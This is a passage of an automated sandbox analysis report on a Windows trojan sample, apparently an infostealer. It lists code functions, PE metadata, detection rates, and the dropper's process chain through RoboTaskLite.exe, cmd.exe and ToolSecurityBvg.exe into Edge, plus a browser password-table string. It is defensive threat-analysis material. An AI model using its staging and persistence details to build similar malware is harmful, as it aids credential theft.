ialogTitle,@Vcl@Consts@_SNoName,@Vcl@Consts@_SErrorActionManagerNotAssigned,2_2_50CB8570
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CC7D80 @Vcl@Graphics@TMetafile@LoadFromClipboardFormat$qqrusuip10HPALETTE__,GetClipboardData,@Vcl@Graphics@TMetafile@NewImage$qqrv,CopyEnhMetaFileW,GetEnhMetaFileHeader,2_2_50CC7D80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile deleted: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007D42FB0_2_007D42FB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007D93980_2_007D9398
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007B940D0_2_007B940D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007894F00_2_007894F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007B24F70_2_007B24F7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007A14C40_2_007A14C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007A469C0_2_007A469C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0078F7880_2_0078F788
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007CC80C0_2_007CC80C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007918D80_2_007918D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007BDAA40_2_007BDAA4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007BEC050_2_007BEC05
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007D3E500_2_007D3E50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_00795F140_2_00795F14
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D642FB1_2_00D642FB
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D693981_2_00D69398
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D314C41_2_00D314C4
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D194F01_2_00D194F0
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D424F71_2_00D424F7
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D4940D1_2_00D4940D
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D3469C1_2_00D3469C
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D1F7881_2_00D1F788
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D218D81_2_00D218D8
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D5C80C1_2_00D5C80C
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D4DAA41_2_00D4DAA4
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D4EC051_2_00D4EC05
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D63E501_2_00D63E50
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D25F141_2_00D25F14
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E4568171_2_6E456817
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E45CE601_2_6E45CE60
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E45BFA41_2_6E45BFA4
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E45BB8C1_2_6E45BB8C
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E45C80E1_2_6E45C80E
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E45B6901_2_6E45B690
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E45C3D91_2_6E45C3D9
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CC41002_2_50CC4100
Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe B22BF1210B5FD173A210EBFA9092390AA0513C41E1914CBE161EB547F049EF91
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 00D1A2D7 appears 83 times
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 00D11228 appears 1404 times
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 00D11225 appears 863 times
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 00D57210 appears 33 times
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 00D701DE appears 91 times
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 00D12ACF appears 56 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 007E01DE appears 91 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 007C7210 appears 33 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 00782ACF appears 56 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 0078A2D7 appears 83 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 00781228 appears 1403 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: String function: 00781225 appears 863 times
Source: ToolSecurityBvg.exe.4.drStatic PE information: Resource name: ZIP type: Zip archive data (empty)
Source: ssvrbxxww.12.drStatic PE information: Number of sections : 12 > 10
Source: RoboTaskLite.exe.1.drStatic PE information: Number of sections : 11 > 10
Source: RoboTaskLite.exe.2.drStatic PE information: Number of sections : 11 > 10
Source: trcxbjkffm.4.drStatic PE information: Number of sections : 12 > 10
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000000.1788487944.0000000000820000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamebooze.exe0 vs SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2120215729.000000006E463000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2119387279.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpBinary or memory string: OriginalFilenamebooze.exe0 vs SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameVCL280.BPL@ vs SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP, NET_RUN_FROM_SWAP
Source: classification engineClassification label: mal88.spyw.evad.mine.winEXE@72/353@21/19
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007DA747 FormatMessageW,GetLastError,LocalFree,0_2_007DA747
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007DB884 LookupPrivilegeValueW,GetLastError,OpenProcessToken,GetLastError,AdjustTokenPrivileges,GetLastError,GetLastError,CloseHandle,0_2_007DB884
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D6B884 LookupPrivilegeValueW,GetLastError,OpenProcessToken,GetLastError,AdjustTokenPrivileges,GetLastError,GetLastError,CloseHandle,1_2_00D6B884
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007DFE01 GetModuleHandleA,GetLastError,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CoCreateInstance,ExitProcess,0_2_007DFE01
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007E699C FindResourceExA,GetLastError,LoadResource,GetLastError,SizeofResource,GetLastError,LockResource,GetLastError,0_2_007E699C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007B98F9 ChangeServiceConfigW,GetLastError,0_2_007B98F9
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeFile created: C:\Users\user\AppData\Roaming\SupersyncJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8180:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7520:120:WilError_03
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Users\user\AppData\Local\Temp\Myology_20250302174638.cleanroom.logJump to behavior
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeSystem information queried: HandleInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: ToolSecurityBvg.exe, 0000000A.00000003.2665361543.0000000002ED2000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeVirustotal: Detection: 42%
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeReversingLabs: Detection: 28%
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeString found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeString found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile read: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess created: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe "C:\Windows\TEMP\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe" -burn.clean.room="C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe" -burn.filehandle.attached=632 -burn.filehandle.self=628
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exe C:\Windows\TEMP\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exe
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeProcess created: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exe C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exe
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe
Source: unknownProcess created: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exe "C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exe"
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
Source: unknownProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=2136,i,18074026445116763504,17622724437169816842,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6292 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6588 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: unknownProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2192,i,6562576749522032419,7349567095468573079,262144 /prefetch:3
Source: unknownProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2060,i,3715829318677886793,66781582014580477,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5492 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess created: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe "C:\Windows\TEMP\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe" -burn.clean.room="C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe" -burn.filehandle.attached=632 -burn.filehandle.self=628Jump to behavior
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exe C:\Windows\TEMP\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeProcess created: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exe C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=2136,i,18074026445116763504,17622724437169816842,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6292 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6588 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
